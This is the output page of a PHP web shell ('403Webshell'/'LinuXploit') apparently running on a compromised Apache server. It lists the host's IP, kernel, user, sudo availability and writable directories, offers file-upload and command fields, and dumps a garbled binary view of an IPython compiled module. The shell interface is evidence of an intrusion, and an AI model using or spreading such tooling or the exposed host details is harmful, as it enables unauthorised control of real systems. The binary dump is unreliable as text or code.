403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/utils/__pycache__/strdispatch.cpython-312.pyc
�

}�e.��2�dZddlZddlmZGd�de�Zy)z>String dispatch class to match regexps and dispatch commands.
�N)�CommandChainDispatcherc�>�eZdZdZd�Zd
d�Zd
d�Zd�Zd�Zd�Z	d�Z
y	)�StrDispatchaDispatch (lookup) a set of strings / regexps for match.

    Example:

    >>> dis = StrDispatch()
    >>> dis.add_s('hei',34, priority = 4)
    >>> dis.add_s('hei',123, priority = 2)
    >>> dis.add_re('h.i', 686)
    >>> print(list(dis.flat_matches('hei')))
    [123, 34, 686]
    c� �i|_i|_y)N��strs�regexs��selfs �;/usr/lib/python3/dist-packages/IPython/utils/strdispatch.py�__init__zStrDispatch.__init__s����	����c��|jj|t��}|j||�||j|<y)z( Adds a target 'string' for dispatching N)r�getr�add)r�s�obj�priority�chains     r�add_szStrDispatch.add_ss7���	�	�
�
�a�!7�!9�:��
�	�	�#�h����	�	�!�rc��|jj|t��}|j||�||j|<y)z& Adds a target regexp for dispatching N)r	rrr)r�regexrrrs     r�add_rezStrDispatch.add_re#s8��������'=�'?�@��
�	�	�#�h��"����E�rc#��K�||jvr|j|��|jj�D] \}}tj||�r|���!�"y�w)z2 Get a seq of Commandchain objects that match key N)rr	�items�re�match)r�key�rrs    r�dispatchzStrDispatch.dispatch*sX�����$�)�)���)�)�C�.� ��k�k�'�'�)�	�F�A�s��x�x��3���	��	�s�AA c�<�d|j�d|j�d�S)Nz
<Strdispatch z, �>rr
s r�__repr__zStrDispatch.__repr__6s��)-���D�K�K�@�@rc#�`K�||jvry|j|D]	}|d���y�w)N�)r)rr�els   r�	s_matcheszStrDispatch.s_matches9s5�����d�i�i��
��)�)�C�.�	�B��Q�%�K�	�s�,.c#�TK�|j|�D]}|D]	}|d����y�w)z- Yield all 'value' targets, without priority r%N)r )rr�valr&s    r�flat_matcheszStrDispatch.flat_matches?s;�����=�=��%�	�C��
����e��
�	�	�s�&(N)r)�__name__�
__module__�__qualname__�__doc__r
rrr r#r'r*�rrrrs+��
���#�
�A��rr)r.r�IPython.core.hooksr�objectrr/rr�<module>r2s ���
�6�9�&�9r

Youez - 2016 - github.com/yon3zu
LinuXploit